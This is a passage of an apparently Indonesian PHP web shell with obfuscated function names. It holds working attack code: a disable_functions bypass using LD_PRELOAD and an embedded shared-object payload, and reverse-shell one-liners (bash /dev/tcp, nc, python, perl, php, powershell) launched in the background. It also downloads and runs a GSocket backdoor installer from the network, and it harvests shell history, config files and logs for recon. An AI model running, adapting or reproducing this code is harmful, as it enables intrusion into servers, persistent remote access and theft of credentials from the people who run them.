        $cache = array('ok' => false, 'error' => 'Payload embedded tidak tersedia di manager.php.');
        return $cache;
    }
    $so64 = _g26a349d();
    $so86 = _g78e6045();
    if ($so64 === '' || $so86 === '') {
        $cache = array('ok' => false, 'error' => 'Payload embedded kosong.');
        return $cache;
    }
    $cache = array(
        'ok' => true,
        'path' => 'embedded:manager.php',
        'so64' => $so64,
        'so86' => $so86,
    );
    return $cache;
}

function _g27dd51a($cmd)
{
    $cmd = trim((string)$cmd);
    if ($cmd === '') {
        return array('ok' => false, 'error' => 'Command wajib diisi.');
    }
    if (_gde2b43a()) {
        return array('ok' => false, 'error' => 'Bypass LD_PRELOAD hanya untuk Linux.');
    }

    $need = array('putenv', 'mail', 'file_put_contents', 'file_get_contents', 'unlink');
    $missing = array();
    foreach ($need as $fn) {
        if (!_geebfdb2($fn)) $missing[] = $fn;
    }
    if (!empty($missing)) {
        return array(
            'ok' => false,
            'error' => 'Fungsi wajib tidak tersedia / di-disable: ' . implode(', ', $missing),
            'disable_functions' => (string)@ini_get('disable_functions'),
        );
    }

    $arch = _g5245dfb();
    if ($arch === null) {
        return array('ok' => false, 'error' => 'Gagal deteksi arsitektur CPU (32/64-bit).');
    }

    $pay = _gecd6dc3();
    if (empty($pay['ok'])) {
        return array(
            'ok' => false,
            'error' => isset($pay['error']) ? $pay['error'] : 'Payload gagal di-load.',
            'preload' => isset($pay['path']) ? $pay['path'] : '',
        );
    }

    $tmp = rtrim(str_replace('\\', '/', (string)sys_get_temp_dir()), '/');
    $uid = dechex((int)@getmypid()) . '_' . substr(md5(uniqid((string)mt_rand(), true)), 0, 8);
    $soPath = $tmp . '/gecko_bp_' . $uid . '.so';
    $outPath = $tmp . '/gecko_bp_' . $uid . '.out';

    $b64 = $arch ? $pay['so64'] : $pay['so86'];
    $bin = _g_b64d($b64);
    if ($bin === false || $bin === '') {
        return array('ok' => false, 'error' => 'Payload .so corrupt / gagal decode.');
    }
    if (@_gfpc($soPath, $bin) === false || !@_gfif($soPath)) {
        return array('ok' => false, 'error' => 'Gagal tulis payload ke temp: ' . $soPath);
    }
    @_gfch($soPath, 0755);

    $evil = $cmd . ' > ' . $outPath . ' 2>&1';
    $prevEvil = getenv('EVIL_CMDLINE');
    $prevLd = getenv('LD_PRELOAD');
    @putenv('EVIL_CMDLINE=' . $evil);
    @putenv('LD_PRELOAD=' . $soPath);

    $mailOk = false;
    try {
        // mail() → sendmail load LD_PRELOAD → jalankan EVIL_CMDLINE (sama seperti preload.php)
        $mailOk = @mail('a@localhost', '', '', '');
    } catch (Exception $ex) {
        $mailOk = false;
    } catch (Throwable $ex) {
        $mailOk = false;
    }

    if ($prevEvil === false || $prevEvil === null || $prevEvil === '') {
        @putenv('EVIL_CMDLINE');
    } else {
        @putenv('EVIL_CMDLINE=' . $prevEvil);
    }
    if ($prevLd === false || $prevLd === null || $prevLd === '') {
        @putenv('LD_PRELOAD');
    } else {
        @putenv('LD_PRELOAD=' . $prevLd);
    }

    $output = '';
    if (@_gfif($outPath)) {
        $output = (string)@_gfgc($outPath);
    }
    @_gfun($outPath);
    @_gfun($soPath);

    $df = (string)@ini_get('disable_functions');
    if ($output === '' && !$mailOk) {
        return array(
            'ok' => false,
            'error' => 'Tidak ada output. mail() mungkin gagal / sendmail tidak ada / LD_PRELOAD diblokir.',
            'arch' => $arch ? 'x86_64' : 'x86',
            'mail_ok' => false,
            'preload' => $pay['path'],
            'disable_functions' => $df,
            'output' => '',
        );
    }

    return array(
        'ok' => true,
        'cmd' => $cmd,
        'arch' => $arch ? 'x86_64' : 'x86',
        'mail_ok' => (bool)$mailOk,
        'preload' => $pay['path'],
        'disable_functions' => $df,
        'output' => $output !== '' ? $output : '(empty output — command may have run with no stdout)',
        'message' => 'Bypass LD_PRELOAD selesai (' . ($arch ? 'x86_64' : 'x86') . ')',
    );
}

function _g6580fb0($spec, $max = 500)
{
    $ports = array();
    foreach (explode(',', (string)$spec) as $part) {
        $part = trim($part);
        if ($part === '') continue;
        if (preg_match('/^(\d+)\s*-\s*(\d+)$/', $part, $m)) {
            $start = max(1, min(65535, (int)$m[1]));
            $end = max(1, min(65535, (int)$m[2]));
            if ($start > $end) { $t = $start; $start = $end; $end = $t; }
            for ($p = $start; $p <= $end && count($ports) < $max; $p++) {
                $ports[$p] = $p;
            }
        } elseif (preg_match('/^\d+$/', $part)) {
            $p = (int)$part;
            if ($p >= 1 && $p <= 65535 && count($ports) < $max) {
                $ports[$p] = $p;
            }
        }
    }
    return array_values($ports);
}

function _g51c53c2($host, $portsSpec, $timeout = 1)
{
    $host = trim((string)$host);
    if ($host === '' || !preg_match('/^[a-zA-Z0-9.\-_]+$/', $host)) {
        return array('ok' => false, 'error' => 'Invalid host');
    }
    $timeout = max(1, min(5, (int)$timeout));
    $ports = _g6580fb0($portsSpec, 500);
    if (empty($ports)) {
        return array('ok' => false, 'error' => 'No valid ports (e.g. 22,80,443 or 1-1024)');
    }
    $open = array();
    $ip = @gethostbyname($host);
    foreach ($ports as $port) {
        $conn = @fsockopen($host, $port, $errno, $errstr, $timeout);
        if ($conn) {
            $open[] = (int)$port;
            _gfcl($conn);
        }
    }
    sort($open);
    return array('ok' => true, 'host' => $host, 'ip' => $ip, 'open' => $open, 'scanned' => count($ports));
}

/**
 * Start reverse/backconnect in background.
 * Never call exec()/_gf4e9013() directly — hosts often disable them (PHP 8 fatals → Empty HTTP 500).
 */
function _g294703c($ip, $port, $method)
{
    $ip = trim((string)$ip);
    $port = (int)$port;
    $method = strtolower(trim((string)$method));
    if ($ip === '' || !preg_match('/^[a-zA-Z0-9.\-_]+$/', $ip)) {
        return array('ok' => false, 'error' => 'Invalid IP/hostname');
    }
    if ($port < 1 || $port > 65535) {
        return array('ok' => false, 'error' => 'Invalid port');
    }

    $isWin = _gde2b43a();
    $payloads = array(
        'bash'   => "bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'",
        'nc'     => "rm -f /tmp/.bc;mkfifo /tmp/.bc;cat /tmp/.bc|/bin/sh -i 2>&1|nc {$ip} {$port} >/tmp/.bc",
        'python' => "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
        'perl'   => "perl -e 'use Socket;\$i=\"{$ip}\";\$p={$port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'",
        'php'    => "php -r '\$s=@fsockopen(\"{$ip}\",{$port});if(\$s){\$d=array(0=>\$s,1=>\$s,2=>\$s);\$p=null;\$fn=base64_decode(\"cHJvY19vcGVu\");if(function_exists(\$fn)){\$fn(\"/bin/sh -i\",\$d,\$p);}}'",
    );
    if ($isWin) {
        $payloads['powershell'] = "powershell -nop -W hidden -c \"\$c=New-Object Net.Sockets.TCPClient('{$ip}',{$port});\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){;\$d=(New-Object Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$r2=\$r+'PS '+(pwd).Path+'> ';\$sb=([Text.Encoding]::ASCII).GetBytes(\$r2);\$s.Write(\$sb,0,\$sb.Length)}\"";
        $payloads['nc'] = "nc.exe {$ip} {$port} -e cmd.exe";
    }
    if (!isset($payloads[$method])) {
        return array('ok' => false, 'error' => 'Unknown method: ' . $method);
    }

    $payload = $payloads[$method];
    $cwd = isset($GLOBALS['baseDir']) ? $GLOBALS['baseDir'] : (function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp');
    $shellMethod = '';

    // ── Windows: background via popen / proc_open (never bare exec) ──
    if ($isWin) {
        $winCmd = 'start /B ' . $payload;
        $launched = false;
        if (_gf1b8d2a(5) && _gf1b8d2a(6)) {
            $h = _gf600235($winCmd, 'r');
            if (_g_stream_ok($h)) {
                _gf712346($h);
                $launched = true;
                $shellMethod = 'popen';
            }
        }
        if (!$launched && _gf1b8d2a(7)) {
            $desc = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
            $pipes = array();
            $proc = _gf823457('cmd /C ' . $winCmd, $desc, $pipes, $cwd);
            if (_g_proc_ok($proc)) {
                if (isset($pipes[0]) && _g_stream_ok($pipes[0])) _gfcl($pipes[0]);
                if (isset($pipes[1]) && _g_stream_ok($pipes[1])) _gfcl($pipes[1]);
                if (isset($pipes[2]) && _g_stream_ok($pipes[2])) _gfcl($pipes[2]);
                // Don't wait — detach
                _gfa45679($proc);
                $launched = true;
                $shellMethod = 'proc_open';
            }
        }
        if (!$launched) {
            $fb = _g6a69901($winCmd, $cwd, 5, true);
            if (!empty($fb['no_shell'])) {
                return array(
                    'ok' => false,
                    'error' => !empty($fb['output']) ? $fb['output'] : 'No shell runner for backconnect (Windows).',
                    'method' => $method,
                );
            }
            $shellMethod = isset($fb['method']) ? $fb['method'] : 'runTerminal';
            $launched = true;
        }
        return array(
            'ok' => true,
            'message' => 'Backconnect started (' . $method . ') → ' . $ip . ':' . $port,
            'shell_method' => $shellMethod,
            'target' => $ip . ':' . $port,
            'payload_method' => $method,
        );
    }

    // ── Linux/Unix: write payload script, launch with nohup in background ──
    $tmpDir = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp';
    $payloadFile = rtrim(str_replace('\\', '/', $tmpDir), '/') . '/.gecko_bc_' . str_replace('.', '', uniqid('', true)) . '.sh';
    $payloadBody = "#!/bin/bash\nset +e\n" . $payload . "\n";
    if (@_gfpc($payloadFile, $payloadBody) === false) {
        $payloadFile = rtrim(str_replace('\\', '/', $cwd), '/') . '/.gecko_bc_' . str_replace('.', '', uniqid('', true)) . '.sh';
        if (@_gfpc($payloadFile, $payloadBody) === false) {
            return array('ok' => false, 'error' => 'Cannot write backconnect payload script.');
        }
    }
    @_gfch($payloadFile, 0700);

    // Launcher exits immediately; child keeps running under nohup
    $launcher = 'nohup bash ' . _gb6799bc($payloadFile) . ' >/dev/null 2>&1 &' . "\n"
        . 'PID=$!' . "\n"
        . 'echo "pid=$PID"' . "\n"
        . 'sleep 0.15' . "\n"
        . 'if kill -0 "$PID" 2>/dev/null; then echo "status=running"; else echo "status=exited"; fi' . "\n"
        // Remove launcher copy later — payload file kept briefly so child can start
        . '( sleep 3; rm -f ' . _gb6799bc($payloadFile) . ' ) >/dev/null 2>&1 &' . "\n";

    $result = _gfe4b0fe($launcher, $cwd, 15);
    if (!empty($result['no_shell']) || (isset($result['output']) && strpos($result['output'], 'Cannot write temp') !== false)) {
        // Fallback: short inline background via runTerminal
        $bg = 'nohup bash ' . _gb6799bc($payloadFile) . ' >/dev/null 2>&1 & echo pid=$!';
        $result = _g6a69901($bg, $cwd, 10, true);
    }

    if (!empty($result['no_shell'])) {
        @_gfun($payloadFile);
        return array(
            'ok' => false,
            'error' => !empty($result['output'])
                ? $result['output']
                : 'No shell runner available for backconnect.',
            'method' => $method,
            'hint' => 'Same cascade as Terminal: proc_open / shell_exec / popen / system / passthru / exec.',
        );
    }

    $shellMethod = isset($result['method']) ? $result['method'] : '';
    $out = isset($result['output']) ? trim($result['output']) : '';
    $pid = '';
    if (preg_match('/pid=(\d+)/', $out, $m)) {
        $pid = $m[1];
    }

    $msg = 'Backconnect started (' . $method . ') → ' . $ip . ':' . $port;
    if ($pid !== '') {
        $msg .= ' · pid ' . $pid;
    }
    if ($shellMethod !== '') {
        $msg .= ' · via ' . $shellMethod;
    }

    return array(
        'ok' => true,
        'message' => $msg,
        'shell_method' => $shellMethod,
        'pid' => $pid,
        'target' => $ip . ':' . $port,
        'payload_method' => $method,
        'output' => $out,
    );
}

function _g6ce31ea($output)
{
    $out = strtolower((string)$output);
    return strpos($out, 'cannot connect to gsrn') !== false
        || (strpos($out, 'firewalled') !== false && strpos($out, 'gsrn') !== false);
}

function _g06ef64b($method, $port = null)
{
    $method = strtolower(trim((string)$method));
    if ($method === 'wget') {
        $fetch = 'wget --no-check-certificate -qO- https://gsocket.io/y';
    } else {
        $method = 'curl';
        $fetch = 'curl -fsSLk https://gsocket.io/y';
    }
    $script = "export GS_NOCERTCHECK=1\n";
    if ($port !== null) {
        $script .= 'export GS_PORT=' . (int)$port . "\n";
    }
    // Installer from gsocket.io — run in bash
    $script .= 'bash -c "$(' . $fetch . ')"' . "\n";
    return array(
        'script' => $script,
        'command' => trim(str_replace("\n", ' ', $script)),
        'method' => $method,
        'port' => $port,
    );
}

function _g7f6fb45($method, $port = null)
{
    $built = _g06ef64b($method, $port);
    return array(
        'command' => $built['command'],
        'method' => $built['method'],
        'port' => $built['port'],
    );
}

function _g242db1d($method)
{
    $isWin = _gde2b43a();
    if ($isWin) {
        return array('ok' => false, 'error' => 'GSocket installer requires bash (Linux/Unix).');
    }
    @set_time_limit(1800);
    @ini_set('max_execution_time', '1800');

    $portsToTry = array(null);
    for ($p = 22; $p <= 67; $p++) {
        $portsToTry[] = $p;
    }

    $allOutput = '';
    $attempts = 0;
    $successPort = null;
    $lastCommand = '';
    $lastMethod = strtolower(trim((string)$method));
    if ($lastMethod !== 'wget') {
        $lastMethod = 'curl';
    }
    $lastExit = 1;
    $stoppedOnFirewalled = false;
    $shellMethodUsed = '';
    $cwd = isset($GLOBALS['baseDir']) ? $GLOBALS['baseDir'] : sys_get_temp_dir();

    foreach ($portsToTry as $port) {
        $built = _g06ef64b($method, $port);
        $command = $built['command'];
        $lastCommand = $command;
        $lastMethod = $built['method'];
        $label = ($port === null) ? 'default (no GS_PORT)' : ('GS_PORT=' . $port);
        $attempts++;

        // Always run via temp .sh — complex nested $(curl...) often fails if passed inline to proc_open
        $result = _gfe4b0fe($built['script'], $cwd, 1800);

        // Second chance: inline via _g6a69901(short path)
        if (!empty($result['no_shell']) || (isset($result['output']) && strpos($result['output'], 'Cannot write temp') !== false)) {
            $result = _g6a69901($command, $cwd, 1800, true);
        }

        if (!empty($result['method'])) {
            $shellMethodUsed = $result['method'];
        }
        if (!empty($result['no_shell'])) {
            return array(
                'ok' => false,
                'error' => !empty($result['output'])
                    ? $result['output']
                    : 'Failed to execute GSocket installer (no shell method).',
                'command' => $command,
                'shell_method' => $shellMethodUsed,
                'hint' => 'Terminal may work for short cmds via proc_open; GSocket needs bash script runner. Ensure bash + curl/wget exist.',
            );
        }

        $lastExit = (int)$result['exit_code'];
        $outText = isset($result['output']) ? $result['output'] : '';
        $firewalled = _g6ce31ea($outText);
        $allOutput .= '=== Attempt ' . $attempts . ': ' . $label . " ===\n";
        if ($shellMethodUsed !== '') {
            $allOutput .= '(shell via ' . $shellMethodUsed . ")\n";
        }
        $allOutput .= '$ ' . $command . "\n\n";
        $allOutput .= $outText . "\n";
        $allOutput .= '(exit ' . $lastExit . ")\n\n";

        if (!$firewalled) {
            $successPort = $port;
            $allOutput .= '=== SUCCESS: GSRN reachable with ' . $label . " ===\n";
            break;
        }

        $stoppedOnFirewalled = true;
        if ($port !== null && $port >= 67) {
            $allOutput .= "=== FAILED: All ports tried (default + GS_PORT=22..67) — still firewalled ===\n";
        }
    }

    $portLabel = ($successPort === null) ? 'default' : (string)$successPort;

    return array(
        'ok' => true,
        'output' => $allOutput,
        'exit_code' => $lastExit,
        'command' => $lastCommand,
        'method' => $lastMethod,
        'shell_method' => $shellMethodUsed,
        'gs_port' => $successPort,
        'gs_port_label' => $portLabel,
        'attempts' => $attempts,
        'firewalled' => ($successPort === null && $stoppedOnFirewalled),
        'success' => ($successPort !== null || !$stoppedOnFirewalled),
    );
}

/**
 * Subdomain / vhost hint — gabungkan sumber sistem, apache/nginx conf, & jejak config app.
 */
function _gvhostHintPush(&$hints, &$seen, $domain, $path, $source)
{
    $domain = _gb47bd7a($domain);
    if ($domain === '' && $path === '') {
        return;
    }
    $path = rtrim(str_replace('\\', '/', (string)$path), '/');
    $key = strtolower($domain) . '|' . strtolower($path);
    if (isset($seen[$key])) {
        return;
    }
    $seen[$key] = true;
    $hints[] = array(
        'domain' => $domain !== '' ? $domain : '(no hostname)',
        'path' => $path,
        'source' => (string)$source,
        'readable' => ($path !== '' && @_gfid($path)),
    );
}

function _gconfigPathHints($root)
{
    $out = array();
    $root = rtrim(str_replace('\\', '/', (string)$root), '/');
    if ($root === '' || !@_gfid($root)) {
        return $out;
    }
    $candidates = array($root);
    $scan = @_gfsc($root);
    if (is_array($scan)) {
        foreach ($scan as $name) {
            if ($name === '.' || $name === '..') continue;
            $full = $root . '/' . $name;
            if (@_gfid($full)) {
                $candidates[] = $full;
            }
        }
    }
    $files = array();
    foreach ($candidates as $dir) {
        foreach (array('.env', 'wp-config.php', '.htaccess', 'config.php', 'settings.php') as $fn) {
            $p = $dir . '/' . $fn;
            if (@_gfif($p) && @_gfir($p)) {
                $files[] = $p;
            }
        }
    }
    $files = array_values(array_unique($files));
    foreach ($files as $file) {
        $txt = @_gfgc($file);
        if ($txt === false || $txt === '') continue;
        $base = basename($file);
        if ($base === '.env') {
            if (preg_match('/^\s*(?:APP_URL|SITE_URL|APP_DOMAIN|DOMAIN|CANONICAL_URL)\s*=\s*["\']?([^\s"\']+)/im', $txt, $m)) {
                $url = trim($m[1]);
                $host = parse_url($url, PHP_URL_HOST);
                if ($host) {
                    $out[] = array('domain' => $host, 'path' => dirname($file), 'source' => 'config:.env');
                }
            }
        }
        if ($base === 'wp-config.php') {
            if (preg_match("/define\s*\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $txt, $m)) {
                $host = parse_url($m[1], PHP_URL_HOST);
                if ($host) {
                    $out[] = array('domain' => $host, 'path' => dirname($file), 'source' => 'config:WP_HOME');
                }
            }
            if (preg_match("/define\s*\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $txt, $m)) {
                $host = parse_url($m[1], PHP_URL_HOST);
                if ($host) {
                    $out[] = array('domain' => $host, 'path' => dirname($file), 'source' => 'config:WP_SITEURL');
                }
            }
        }
        if (preg_match_all('/^\s*ServerAlias\s+(.+)$/im', $txt, $am)) {
            foreach ($am[1] as $aliasLine) {
                foreach (preg_split('/\s+/', trim($aliasLine)) as $alias) {
                    $dn = _gb47bd7a($alias);
                    if ($dn !== '') {
                        $out[] = array('domain' => $dn, 'path' => dirname($file), 'source' => 'config:ServerAlias');
                    }
                }
            }
        }
    }
    return $out;
}

function _gvhostHintDiscover($baseDir, $scanRel = '')
{
    $hints = array();
    $seen = array();
    $methods = array();

    $host = isset($_SERVER['HTTP_HOST']) ? (string)$_SERVER['HTTP_HOST'] : '';
    $host = preg_replace('/:\d+$/', '', $host);
    $srv = isset($_SERVER['SERVER_NAME']) ? (string)$_SERVER['SERVER_NAME'] : '';
    $doc = isset($_SERVER['DOCUMENT_ROOT']) ? (string)$_SERVER['DOCUMENT_ROOT'] : '';
    if ($host !== '') {
        _gvhostHintPush($hints, $seen, $host, $doc, 'request:HTTP_HOST');
        $methods[] = 'request';
    }
    if ($srv !== '' && strtolower($srv) !== strtolower($host)) {
        _gvhostHintPush($hints, $seen, $srv, $doc, 'request:SERVER_NAME');
    }

    $sys = _g9c1b59b();
    if (!empty($sys['entries'])) {
        foreach ($sys['entries'] as $e) {
            $dom = isset($e['domain']) ? $e['domain'] : '';
            $path = isset($e['path']) ? $e['path'] : '';
            $src = isset($e['source']) ? $e['source'] : 'cpanel';
            _gvhostHintPush($hints, $seen, $dom, $path, 'system:' . $src);
        }
        if (!empty($sys['method'])) {
            $methods[] = $sys['method'];
        }
    }

    $v3 = _g44e8333();
    if (!empty($v3['entries'])) {
        foreach ($v3['entries'] as $e) {
            $path = isset($e['path']) ? $e['path'] : '';
            $domains = isset($e['domains']) && is_array($e['domains']) ? $e['domains'] : array();
            if (empty($domains) && isset($e['domain'])) {
                $domains = array($e['domain']);
            }
            $src = isset($e['source']) ? $e['source'] : 'vhost';
            foreach ($domains as $d) {
                _gvhostHintPush($hints, $seen, $d, $path, 'vhost:' . $src);
            }
        }
        if (!empty($v3['method'])) {
            $methods[] = $v3['method'];
        }
    }

    $scanRoot = $baseDir;
    if ($scanRel !== '') {
        $resolved = _g51c64cf($baseDir, _g67988fc($scanRel), false);
        if ($resolved && @_gfid($resolved)) {
            $scanRoot = $resolved;
        }
    }
    foreach (_gconfigPathHints($scanRoot) as $c) {
        _gvhostHintPush($hints, $seen, $c['domain'], $c['path'], $c['source']);
    }
    if (!empty($hints)) {
        $methods[] = 'config-scan';
    }

    if (@_gfir('/etc/hosts')) {
        foreach (_g9580849('/etc/hosts') as $line) {
            $line = trim(preg_replace('/#.*$/', '', $line));
            if ($line === '') continue;
            $parts = preg_split('/\s+/', $line);
            if (count($parts) < 2) continue;
            for ($i = 1; $i < count($parts); $i++) {
                $dn = _gb47bd7a($parts[$i]);
                if ($dn !== '' && strpos($dn, '.') !== false) {
                    _gvhostHintPush($hints, $seen, $dn, '', 'hosts:' . $parts[0]);
                }
            }
        }
        $methods[] = 'hosts';
    }

    $lines = array();
    $lines[] = '=== SUBDOMAIN / VHOST HINT ===';
    $lines[] = 'Timestamp : ' . date('Y-m-d H:i:s T');
    $lines[] = 'Methods   : ' . (empty($methods) ? '-' : implode(', ', array_unique($methods)));
    $lines[] = 'Found     : ' . count($hints);
    $lines[] = str_repeat('-', 72);
    foreach ($hints as $h) {
        $lines[] = sprintf('%-28s  %-36s  [%s]',
            $h['domain'],
            $h['path'] !== '' ? $h['path'] : '-',
            $h['source']
        );
    }

    return array(
        'ok' => !empty($hints),
        'hints' => $hints,
        'methods' => array_values(array_unique($methods)),
        'output' => implode("\n", $lines),
        'error' => empty($hints) ? 'Tidak ada hint ditemukan dari sistem/config/vhost.' : '',
    );
}

function _gtailResolvePath($pathInput, $baseDir)
{
    $pathInput = trim(str_replace('\\', '/', (string)$pathInput));
    if ($pathInput === '') {
        return null;
    }
    if (preg_match('/[\x00\r\n]/', $pathInput)) {
        return null;
    }
    if ($pathInput[0] === '/' || preg_match('/^[A-Za-z]:/', $pathInput)) {
        $path = $pathInput;
    } else {
        $path = _g51c64cf($baseDir, _g67988fc($pathInput), false);
        if (!$path) {
            return null;
        }
    }
    if (!@_gfif($path) || !@_gfir($path)) {
        return null;
    }
    $sz = @_gfsz($path);
    if ($sz === false || $sz > 52428800) {
        return null;
    }
    return str_replace('\\', '/', $path);
}

function _gtailLastLines($path, $lines = 100)
{
    $lines = min(500, max(1, (int)$lines));
    $path = (string)$path;
    if (!@_gfif($path) || !@_gfir($path)) {
        return array('ok' => false, 'error' => 'File tidak dapat dibaca');
    }

    $content = '';
    $method = 'php';

    if (!_gde2b43a()) {
        $cmd = 'tail -n ' . (int)$lines . ' ' . _gb6799bc($path) . ' 2>/dev/null';
        $run = _g6a69901($cmd, dirname($path), 15);
        $content = isset($run['output']) ? (string)$run['output'] : '';
        if (trim($content) !== '') {
            $method = 'tail';
        }
    }

    if ($content === '') {
        $raw = @file($path, FILE_IGNORE_NEW_LINES);
        if (!is_array($raw)) {
            $txt = @_gfgc($path);
            if ($txt === false) {
                return array('ok' => false, 'error' => 'Gagal membaca file');
            }
            $raw = preg_split("/\r\n|\n|\r/", $txt);
        }
        $slice = array_slice($raw, -$lines);
        $content = implode("\n", $slice);
        $method = 'php';
    }

    $size = (int)@_gfsz($path);
    return array(
        'ok' => true,
        'content' => $content,
        'size' => $size,
        'path' => $path,
        'method' => $method,
    );
}

function _gtailSinceByte($path, $sinceByte)
{
    $path = (string)$path;
    if (!@_gfif($path) || !@_gfir($path)) {
        return array('ok' => false, 'error' => 'File tidak dapat dibaca');
    }
    $size = (int)@_gfsz($path);
    $sinceByte = max(0, (int)$sinceByte);
    if ($sinceByte >= $size) {
        return array('ok' => true, 'content' => '', 'size' => $size, 'appended' => true);
    }
    $fh = @_gfop($path, 'rb');
    if (!$fh) {
        return array('ok' => false, 'error' => 'Gagal open file');
    }
    @fseek($fh, $sinceByte);
    $max = min(262144, $size - $sinceByte);
    $chunk = @_gfrd($fh, $max);
    @_gfcl($fh);
    return array(
        'ok' => true,
        'content' => $chunk !== false ? $chunk : '',
        'size' => $size,
        'appended' => true,
    );
}

function _gbashHistoryCollect($baseDir, $lines = 150)
{
    $lines = min(500, max(10, (int)$lines));
    $paths = array();
    $add = function ($p) use (&$paths) {
        $p = str_replace('\\', '/', (string)$p);
        if ($p !== '' && @_gfif($p) && @_gfir($p)) {
            $paths[$p] = true;
        }
    };

    $home = getenv('HOME');
    if ($home) {
        $add(rtrim($home, '/') . '/.bash_history');
        $add(rtrim($home, '/') . '/.zsh_history');
        $add(rtrim($home, '/') . '/.sh_history');
    }
    $add('/root/.bash_history');
    $add('/root/.zsh_history');

    if (!_gde2b43a()) {
        foreach (_g9580849('/etc/passwd') as $line) {
            $parts = explode(':', $line);
            if (count($parts) < 6) continue;
            $user = $parts[0];
            $uid = (int)$parts[2];
            $homeDir = $parts[5];
            if ($uid < 500 && $user !== 'root') continue;
            if ($homeDir === '' || $homeDir === '/') continue;
            $add(rtrim($homeDir, '/') . '/.bash_history');
            if (count($paths) > 40) break;
        }
    } else {
        $prof = getenv('USERPROFILE');
        if ($prof) {
            $add(rtrim(str_replace('\\', '/', $prof), '/') . '/.bash_history');
        }
    }

    $sections = array();
    $allPaths = array_keys($paths);
    sort($allPaths);
    foreach ($allPaths as $hist) {
        $tail = _gtailLastLines($hist, $lines);
        if (!$tail['ok']) continue;
        $sections[] = array(
            'path' => $hist,
            'content' => $tail['content'],
            'size' => isset($tail['size']) ? $tail['size'] : 0,
        );
    }

    $out = array();
    $out[] = '=== BASH / ZSH HISTORY TAIL ===';
    $out[] = 'Timestamp : ' . date('Y-m-d H:i:s T');
    $out[] = 'Files     : ' . count($sections);
    $out[] = str_repeat('-', 72);
    foreach ($sections as $sec) {
        $out[] = '';
        $out[] = '--- ' . $sec['path'] . ' (last ' . $lines . ' lines) ---';
        $out[] = $sec['content'];
    }

    return array(
        'ok' => !empty($sections),
        'sections' => $sections,
        'output' => implode("\n", $out),
        'error' => empty($sections) ? 'Tidak ada file history (.bash_history / .zsh_history) yang terbaca.' : '',
    );
}

function _glogTailPresets($baseDir)
{
    $presets = array();
    $candidates = array(
        'Apache error (Debian)' => '/var/log/apache2/error.log',
        'Apache access' => '/var/log/apache2/access.log',
        'Nginx error' => '/var/log/nginx/error.log',
        'Nginx access' => '/var/log/nginx/access.log',
        'PHP-FPM log' => '/var/log/php-fpm/error.log',
        'Syslog' => '/var/log/syslog',
        'Auth log' => '/var/log/auth.log',
    );
    if (_gde2b43a() && @_gfid('C:/laragon/bin/apache')) {
        $glob = _gfgb('C:/laragon/bin/apache/*/logs/error.log');
        if (is_array($glob)) {
            foreach ($glob as $p) {
                $candidates['Laragon Apache error'] = str_replace('\\', '/', $p);
            }
        }
        $glob = _gfgb('C:/laragon/bin/apache/*/logs/access.log');
        if (is_array($glob)) {
            foreach ($glob as $p) {
                $candidates['Laragon Apache access'] = str_replace('\\', '/', $p);
            }
        }
    }
    foreach ($candidates as $label => $path) {
        if (@_gfif($path) && @_gfir($path)) {
            $presets[] = array('label' => $label, 'path' => str_replace('\\', '/', $path));
        }
    }
    $doc = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $baseDir;
    if ($doc) {
        foreach (array('error_log', 'php_errors.log') as $fn) {
            $p = rtrim(str_replace('\\', '/', $doc), '/') . '/' . $fn;
            if (@_gfif($p) && @_gfir($p)) {
                $presets[] = array('label' => 'Docroot ' . $fn, 'path' => $p);
            }
        }
    }
    return $presets;
}

function _gc1ebe7d($tool, $input, $baseDir)
{
    $tool = strtolower(trim((string)$tool));
    switch ($tool) {
        case 'recon':
            return _g9cf4122($baseDir);
        case 'sensitive':
            return _g1249eb4($baseDir, (string)_gc9f029d($input, 'path', ''));
        case 'processes':
            return _g26b5e54($baseDir);
        case 'network':
            return _ga8da98b($baseDir);
        case 'http':
            return _ga893225(
                (string)_gc9f029d($input, 'url', ''),
                (string)_gc9f029d($input, 'method', 'GET'),
                (string)_gc9f029d($input, 'headers', ''),
                (string)_gc9f029d($input, 'body', '')
            );
        case 'hash':
            return _g1e818cc((string)_gc9f029d($input, 'text', ''), (string)_gc9f029d($input, 'algo', 'sha256'));
        case 'codec':
            return _g49f93d6((string)_gc9f029d($input, 'mode', 'b64enc'), (string)_gc9f029d($input, 'text', ''));
        case 'dns':
            return _g8229bab((string)_gc9f029d($input, 'host', ''), (string)_gc9f029d($input, 'type', 'ALL'));
        case 'suid':
            return _g1816c4c($baseDir);
        case 'privesc_linux':
            return _ga82dbf2($baseDir);
        case 'privesc_windows':
            return _gf7bc291($baseDir);
        default:
            return array('ok' => false, 'error' => 'Unknown security tool');
    }
}

function _g9cf4122($baseDir)
{
    $lines = array();
    $lines[] = '=== SYSTEM RECON ===';
    $lines[] = 'Timestamp : ' . date('Y-m-d H:i:s T');
    $lines[] = 'PHP       : ' . PHP_VERSION . ' (' . PHP_SAPI . ')';
    $lines[] = 'OS        : ' . PHP_OS;
    $lines[] = 'Server    : ' . (isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '-');
    $lines[] = 'Hostname  : ' . (function_exists('gethostname') ? gethostname() : '-');
    $lines[] = 'Doc Root  : ' . (isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '-');
    $lines[] = 'Script    : ' . __FILE__;
    $lines[] = 'Base Dir  : ' . $baseDir;
